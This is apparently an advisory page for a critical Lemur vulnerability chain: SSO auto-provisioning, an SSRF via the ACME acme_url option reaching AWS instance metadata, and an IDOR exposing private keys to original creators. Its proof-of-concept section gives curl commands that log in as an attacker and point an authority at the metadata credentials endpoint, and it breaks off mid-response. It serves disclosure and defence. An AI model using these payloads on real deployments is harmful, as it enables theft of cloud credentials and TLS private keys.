critical

CVE-2026-55166

PyPI · lemur

Summary

Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise

Severity
critical
CVSS
9.9
EPSS
0.3% (p20)
CWE
CWE-285, CWE-639, CWE-918
Also known as
GHSA-v2wp-frmc-5q3v
Published
2026-06-25
Updated
2026-06-25

Advisory details

Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR

Vulnerability Summary

Field Value
Title Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR
Component lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision)
CWE CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization)
Attack Prerequisite A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar.
Affected Versions github.com/Netflix/lemur version = "1.9.0" (see lemur/lemur/about.py) and every prior release that carries the same three sinks.

Executive Summary

A low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as active=True with no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-supplied acme_url and fetches it server-side with no allowlist, reaching EC2 IMDS at 169.254.169.254; (3) the certificate key-fetch endpoint grants cert.user (the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary "rotate the owner" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline .cast ships with this report.

Walkthrough: https://asciinema.org/a/CFYaoR2fxWEIdZDf


Description

Lemur is Netflix's TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let's Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break.

Sink 1 — SSO auto-provision (lemur/lemur/auth/views.py:300-308). When a new federated identity hits the SSO callback, Lemur calls user_service.create(..., active=True, ...). There is no invite, no admin approval, no allowlist of email domains, no role-defaulting to read-only. Any SSO holder Lemur's IdP accepts becomes an active Lemur user.

Sink 2 — ACME acme_url SSRF (lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201). When an authenticated user posts a new ACME authority, the plugin reads options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL")) and calls ClientV2.get_directory(directory_url, net) — a server-side HTTP fetch. There is no URL allowlist, no scheme filter (so file:// and gopher:// are reachable in some requests versions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and — because the upstream acme.client.ClientV2 returns the response body as part of the constructed Directory — the body is round-tripped into the authority object Lemur stores. On AWS, that means http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> returns the worker's AccessKeyId, SecretAccessKey, and STS Token to the attacker.

Sink 3 — creator-equality IDOR (lemur/lemur/certificates/views.py:734). The key-fetch view branches on if g.current_user != cert.user: only when the caller is not the certificate's original creator does Lemur consult CertificatePermission. The creator branch always returns 200 with the private key. There's no creator-rotation hook, no "ownership transferred — revoke creator access" path. Transferring cert.owner to a different team or admin does not strip the original creator's access to the key.

Wire those three together: SSO in → spin up an ACME authority pointed at IMDS → exfiltrate the AWS role credentials → issue a cert against that authority → transfer ownership to a victim admin to bury the audit trail under the admin's name → re-fetch the private key as the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary "fix" used by ops teams when they spot a suspicious certificate ("transfer it to the right owner") does nothing.

Proof of Concept & Steps to Reproduce

A full walkthrough is recorded at https://asciinema.org/a/CFYaoR2fxWEIdZDf. An offline .cast file is attached as lemur_pki_acme_ssrf_idor.cast. The lab harness is in lemur_pki_acme_ssrf_idor/support/ — Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to 169.254.169.254:80.

Prerequisites: Docker, curl, jq, openssl.

Run

cd lemur_pki_acme_ssrf_idor/
EXPLOIT_FAST=1 ./exploit_code.sh

The script wires the IMDS mock via Docker's --add-host 169.254.169.254:127.0.0.1. Every step's HTTP body is dumped to evidence/ for byte-level review.

Step 1 — Authenticate via SSO (sink 1)

curl -sS -X POST http://127.0.0.1:18000/api/1/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@evil.example","roles":["operator"]}'

Response (evidence/03_sso_provision_response.json):

{
  "token": "eyJhbGciOiJIUzI1NiIs...",
  "user": {
    "active": true,
    "auto_provisioned": true,
    "email": "attacker@evil.example",
    "id": 1,
    "roles": ["operator"]
  }
}

active=True and auto_provisioned=true. No admin saw this account. No approval was issued. This is sink 1.

Step 2 — Create an ACME authority with acme_url pointed at IMDS (sink 2)

curl -sS -X POST http://127.0.0.1:18000/api/1/authorities \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-acme","plugin":{"plugin_options":[{"name":"acme_url","value":"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role"}]}}'

Response (evidence/04_ssrf_authority_response.json):

{
  "acme_url": "http://169.254.169.254/latest/meta-data/iam/secur

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.